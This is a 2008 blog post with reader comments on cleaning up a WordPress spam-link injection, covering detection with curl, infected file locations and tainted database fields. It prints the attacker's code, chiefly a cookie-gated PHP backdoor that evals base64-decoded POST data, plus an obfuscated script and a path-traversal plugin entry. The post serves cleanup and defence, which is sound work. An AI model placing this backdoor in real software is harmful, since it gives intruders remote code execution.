WordPress exploit: we been hit by hidden spam link injection
May 26th, 2008 mysurface Posted in curl, curlftpfs, file, find, Misc | Hits: 138050 | 49 Comments »
We been hit by hidden spam link injection (a modified version of goro spam injection), this crack injects spam links through wordpress wp_footer() or wp_head() hook. The spam links only reveal itself if crawled by search engine bot such as googlebot, and they are hidden from our eyes. We believe the cracker’s purpose is to steal your search index and improves their page rank.
This exploits are very difficult to detect, because you can’t find the hidden spam links from your web source if you surf your page with web browser. Until one day, your traffics goes down exponentially, and discovered the spam links appear in google cache. But that is too late!
How’s the spam links look:
<div id="_wp_footer">
...
.. ALL THE SPAM LINKS HERE ...
...
</div>
<script type="text/javascript"><!--
google_ad_client = "pub-7652328300112263";
google_ad_width = 728;
google_ad_height = 15;
google_ad_format = "728x15_0ads_al_s";
google_ad_channel = "";
function google_ads(str){var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ""; var i = 1; for (++idx; idx < len; id
google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02
//-->
</script>
How to detects them?
We can’t wait until the exploit been discover by googlebot and ruin our google index, so there must be a way for us to verify at any time. For us, we use curl. Changing the user agent to googlebot with curl and crawl your own page like this:
curl --no-sessionid --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" http://linux.byexamples.com
Thanks to Toydi, we have done some findings on how the exploit affects us. Here, let us tells you what we have learn from the exploit, suggestion to solve the problems, and reveal of this exploit.
How to solve this?
Once you realized your site been exploit, what you must have in your mind is upgrade your WordPress, and removes the infected files. There is a fastest way to temporary stop the spam injection. Removes wp_footer() and wp_head() hook from your themes. The hook should be store in footer.php and header.php.
Removes footer and header hooks does not really clean the affected files, but the spam links will disappear if you check with curl again. This doesn’t really solve the problems.
Where are the affected files?
Affected files can be any where, they probably have a common name, but crackers may change the name patterns any time for the next attempt. So, we highly suggest you do a fresh install unless it is too much trouble for you to do that.
The affected files can be stay at
/wp-content/uploads
/wp-content/plugins
/wp-content/themes
/wp-includes
/wp-admins
/
with patterns such ask *_new.php, *_old.php, *.jpgg, *.giff, *.pngg, wp-info.txt
Removes them in a batch using find command line, you can access your ftp server with curlftpfs.
find . -name "*_new.php" -exec rm {} \;
find . -name "*_old.php" -exec rm {} \;
find . -name "*.jpgg" -exec rm {} \;
find . -name "*_giff" -exec rm {} \;
find . -name "*_pngg" -exec rm {} \;
In fact, infected files can be any php files, compare them with the original one. Some of the images are actually not image, use file command to verify them. we find one of the gif file in my theme/images folder is actually a encrypted php codes. The cracker is very smart to hide that from detected!
file * | grep -v image
Check every files of your themes, we discovered injected codes at our headers.php and singles.php:
<?php if(md5($_COOKIE['_wp_debugger'])=="2435265e6253721e9a8e200d1ebbc54e"){ eval(base64_decode($_POST['file'])); exit; } ?>
See!? cracker decodes his php codes with base64_decode()!!! They try to blind your eyes from detecting them.
Database exploits
We modified the add_action() in plugin.php to print out all function names registered to 'wp_footer' action hook. Then, we caught a strange function name, echo123, but we couldn’t find echo123 in our wordpress codes as well as in database. But after we connects WordPress with new database, the spam links gone. So, it must be something wrong within the database. And our guess is right!
1. The cracker modify the active_plugins field of wp_options table.
a:3:{i:0;s:117:"../../../../../../../../../../../../../../../../../../../../../../tmp/tmpYwbXT2/sess_779ceef92a4fdcc17bb5ee3f13348bfd";i:1;s:46:"../../wp-content/themes/default/header_old.gif";i:2;s:27:"SK2/spam_karma_2_plugin.php";}
../../../../../../../../../../../../../../../../../../../../../../tmp/tmpYwbXT2/sess_779ceef92a4fdcc17bb5ee3f13348bfd and ../../wp-content/themes/default/header_old.gif are the exploit codes, removes them accordingly.
2. If wordpress_options and internal_links_cache fields exist in your wp_options table, removes them, they are your nightmare!!!
3. Check your wp_users table and removes ‘WordPress’ user.
For WordPress database exploit, please refers to Toydi’s findings.
It probably more than 3 fields, if you discover extra infected fields, please let us know, thanks in advance.
Who is behind this?
Seriously We don’t know, but based on what we have, we make some guess, feel free to give yours.
From the spam injection, we observed that the spam links appended with a modified google adsense script with key pub-7652328300112263. Who’s key is that? Do he steal your income as well as messing your google index? Only google adsense team would able to answer this.
From the spam links, its all redirection to wwwDOTyeah-oopsDOTcom and titusonenineDOTclassicalanglicanDOTnet, are they the cracker? I tried to email them asking why they crack my page, but of cause until today, I didn’t received any replies from them.
P.S. Replace DOT with . I do not want to create more keywords for them anymore.
Okay, let us crawl their web with user agent as googlebot
curl --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" http://wwwDOTyeah-oopsDOTcom/ | less
Surprisingly their page are been injected with spam too, but the links redirect to wwwDOTarticulateDOTcom/blog/
And crawl further, there are no more spam links injected. Heh! Who are they?
I suggest you to check your blogs frequently with curl, take fast action before they mess up your google index again.








May 27th, 2008 at 5:13 pm
We must fiiiiind ze culprit !!! Anyway the embedded scripts for PHP makes WordPress vulnerable to these crooks. Naught to worry my friend…lets find ways to stop them !!!
May 27th, 2008 at 8:05 pm
buahaha, kapsiaoloong, go where also damn kapsiao one.
May 29th, 2008 at 11:52 am
Yep. One of our clients is infected with that kind exploit. They uploaded the infected theme with the upload facility from wordpress. After reverting back to the backup’d files, I remove the permission of www-data users to write to the folder. That’s will do it.
–buaya
June 13th, 2008 at 11:37 am
I am not clear on how you got rid of tmp/tmpYwbXT2/sess_779ceef92a4fdcc17bb5ee3f13348bfd
June 13th, 2008 at 3:35 pm
@Tiffany, remove it and change the line into this:
June 17th, 2008 at 4:36 am
great tips! Saved my ass.
And here’s a tip for you… for an easy way to view your site as googlebot:
http://www.smart-it-consulting.com/internet/google/googlebot-spoofer/index.htm
June 17th, 2008 at 10:13 pm
@Tim: Thats cool! For those who don’t have curl installed, this site is really useful.
July 1st, 2008 at 2:11 am
Great tips, one small addition though. If you use this code:
find . -type f | xargs file | grep -v image
it will search for non-image files recursively so you don’t have to go through each directory one by one.
July 1st, 2008 at 8:37 am
@Adam, you are right, thanks for the tips.
July 8th, 2008 at 11:37 am
I was hit by this spam link injection last Thursday and my blog has now disappeared from Google listings with search engine traffic plummeting to nothing over the weekend.
Once I get everything cleaned up, how long will it take for my blog to reappear in Google? Does anyone know? Will I need to email Google to ask to be re-indexed or will it happen automatically?
Thanks in advance for any advice/suggestions.
July 8th, 2008 at 6:46 pm
@DazedConfused, from one week to one month. It doesn’t come back one shot.
July 13th, 2008 at 1:10 pm
Ok, thanks much. Regarding the code you recommend deleting… do I delete this entire line: “”
Or only the “wp_footer()” part?
July 13th, 2008 at 1:12 pm
Oops! It didn’t show up in my post. It’s a line of code that has a question mark, php, at the beginning, then the wp_footer() and then a semi-colon, and another question mark.
July 13th, 2008 at 10:00 pm
@DezedConfused: You can took the entire wp_footer() tag off if your plugins doesn’t use this hook.
August 15th, 2008 at 12:43 pm
I had an infected “wp_links” field.
September 19th, 2008 at 7:59 pm
I’m using All in One SEO plugin. When i removed “”, my site doesn’t have meta keywords and description again …
September 19th, 2008 at 8:00 pm
sorry … missing wp_head in my last comment
October 2nd, 2008 at 7:55 pm
For what it’s worth, the “pub-id” is not an AdSense user, it’s just made to look like AdSense (to make it look legitimate). It’s just a part of the code used to decrypt the content hidden in those JavaScript pieces. Sneaky….
October 4th, 2008 at 2:48 am
@JohnMu, I think you are right.
October 6th, 2008 at 8:29 am
great tips
October 6th, 2008 at 6:12 pm
Thanks for this wonderfull tips
October 10th, 2008 at 11:34 am
thaks so much for your tips
http://www.manshurin.com
October 17th, 2008 at 12:46 am
Dear Sir,
I have problem with my blog, if browse with IE, my blog show only the content, but two right colom for widget disappear. However it work well when I browse with Firefox or other browser.
Two days before the problem exist, there is a incoming comment say that my blog is listed in spam list, I just delete it.
Will you please visit my blog and browse it with different browser to see the result?
Please advice me how should I solve this problem?
Thank you
Oddie
December 26th, 2008 at 5:00 pm
my blog was recently compromised as well, and i am using version 2.6. thank you for the information!! i will be upgrading to 2.7 when i get the chance :)
January 16th, 2009 at 7:00 am
This is a great post . Good information. Out of many posts , only two posts so far I find quite useful. Apart from this one , there is another good post on malware injection & removal :
http://www.itoneworldsystem.com/blog/2009/01/03/how-to-remove-malware-from-your-blog/
February 20th, 2009 at 3:57 pm
Thanks for the helpful info. @DazedConfused you should submit a reinclusion request http://www.google.com/support/webmasters/bin/answer.py?answer=35843
March 5th, 2009 at 4:46 am
Two days my blog (hosted using WordPress) was flagged by Google as being an attack site. I run a spirituality website. I am not giving the URL, for obvious reasons. Last year, someone hacked my site and replaced the index file. I just fixed that and looked around did not find anything. Also, I was not very familiar with all the modes of attacks. Very naive of me, I know.
I am now trying to fix everything. I tried to use curl as you advised, but I am getting a 403 error. The message was, “An invalid request was received. You claimed to be a major search engine, but you do not appear to actually be a major search engine.” There was some other code that says that I could fix this by using some number-code and going to some site: wwwDOTioerroDOTus and also printed out some code that started with the string “Yahoo! counter starts,” which I don’t want to give here, as I am not sure what it is.
Can anyone help me with this, please?
Thanks,
Desika
March 5th, 2009 at 8:35 am
Hi,
Your article is a godsend. There some minor variations, but apart from the if almost like what you had said in the article. Instead of having .giff .jpgg or _new.php etc., files, I had files that had the form .php and a htaccess file that was referring to this file. I had a back up directory where I was backing up compressed wordpress database files. This guy replaced one of these files and calling that in wp_options–active_plugins as a plugin. I removed all of that. This guy also placed an htaccess and .php file in the Ultimate Tag Warrior plugin directory.
After I did all of this, I found out that Bad Behavior plugin was preventing Curl from accessing my site. I disabled it and I was able to access it. Curl did not output any suspicious links. I am hoping that my fixes above worked.
I have requested Google to review my site again. It is up to them now.
Thanks for writing this tremendously helpful article!
I will let you know what Google says.
Thanks again,
Desika
March 5th, 2009 at 8:38 am
Sorry, In my previous comment, I meant to say “had the form ‘number.php’,” and put angle brackets around the string “number” and they got stripped off when the comment was posted.
Thanks,
Desika
March 6th, 2009 at 12:46 am
Thanks again. The fixes you suggested worked out. Google has approved my blog again.
I am very grateful. Let me know, if I can help your blog in anyway.
Thanks,
-Desika
March 6th, 2009 at 1:23 am
Glad you solved your problem Desika :) I having a lots of troubles when I encounter I caught up by this shit! It takes me months to realize what is actually happening.
March 6th, 2009 at 4:13 am
Mysurface,
You are right. It is very stressful, and time consuming. I just blogged about it to inform my readers of what happened to my site and linked to this article here.
I believe I have had this problem since May 2008 when my website was attacked. :-( I guess better late to realize than never.
Thanks again.
Thanks,
Desika
April 8th, 2009 at 12:32 pm
Hi !! ^_^
I am Piter Kokoniz. oOnly want to tell, that I’v found your blog very interesting
And want to ask you: will you continue to post in this blog in future?
Sorry for my bad english:)
Thank you:)
Piter.
June 7th, 2009 at 11:15 pm
I just discovered that my site was hacked with this too. I found many articles about this problem on the web, but I haven’t found any about how the hackers were able to modify all these scripts and database fields. Do you have any idea? Does it simply mean that the hacker somehow cracked the admin password?
If we don’t know how they did it, it’s hard to prevent them from doing it again.
August 12th, 2009 at 10:28 pm
Thanks a bunch!!
February 9th, 2010 at 9:50 pm
I did an app just to check injection problems like this:
http://j.mp/aSJDAu
Try it out: it shows differences between a normal call and a “Google-like” call. :)
July 22nd, 2010 at 7:10 pm
Thank you so much. I appreciate your work
May 19th, 2011 at 1:41 am
Hi!Im looking for Silver Bracelets do You know any cheap Jewelers?
May 19th, 2011 at 4:10 am
:)
June 19th, 2011 at 9:21 pm
This is one of the most interesting blog posts I’ve ever seen!
July 13th, 2011 at 10:37 pm
very good post ..
August 11th, 2011 at 11:37 am
I know this article’s old, but one of my very old sites (which wasn’t upgraded to a recent version of WP for a veeeeeery long time) was infected by this. I noticed the WordPress user name, deleted it – and didn’t realise it would be more serious until I randomly came across the hook in index.php. 20 minutes of commenting out, base64 decoding and searching for what it could possibly be yielded this blog – many thanks for all your investigative work, this article was incredibly helpful. Cheers!
May 25th, 2012 at 8:39 pm
I found something similar in my webservers log and landed here when googling the string. I wish there were less hacks, bots and exploits forcing us to do overhours :’(
May 28th, 2012 at 5:24 am
As soon as I originally commented I clicked the Notify me when new comments are added checkbox and currently every time a remark is added I get four messages with the identical comment.
January 24th, 2013 at 11:36 pm
hello , i wanted to inform about my new website http://www.sexygirlssports.com a nice sexy girls gallery
February 19th, 2013 at 4:46 am
Know that without a doubt Giordano’s will cater usher to some of the must-visit chicago restaurants. And everyone foods, and the best of chicago restaurants can be found at Bice Ristorante. Bordeaux redefines loss Viridity Wells St. at Schiller. For an Italian variant of Valentine’s Day dinner,Merloton the Hunt
for celebrity filled restaurants in Chicago. determination Corking gaudy
restaurants in Chicago has become they choose have kids’ menus; others have an interesting or unique ambience they enjoy.
February 20th, 2013 at 4:30 pm
I’m really loving the theme/design of your website. Do you ever run into any browser compatibility issues? A handful of my blog visitors have complained about my website not operating correctly in Explorer but looks great in Firefox. Do you have any ideas to help fix this problem?
April 23rd, 2013 at 10:04 pm
Hmm is anyone else having problems with the pictures on this
blog loading? I’m trying to figure out if its a problem on my end or if it’s
the blog. Any responses would be greatly appreciated.
April 30th, 2013 at 11:30 am
Thanks for your marvelous posting! I definitely enjoyed reading it, you can
be a great author.I will be sure to bookmark your blog and definitely will come
back very soon. I want to encourage you to definitely continue your great writing, have a nice holiday weekend!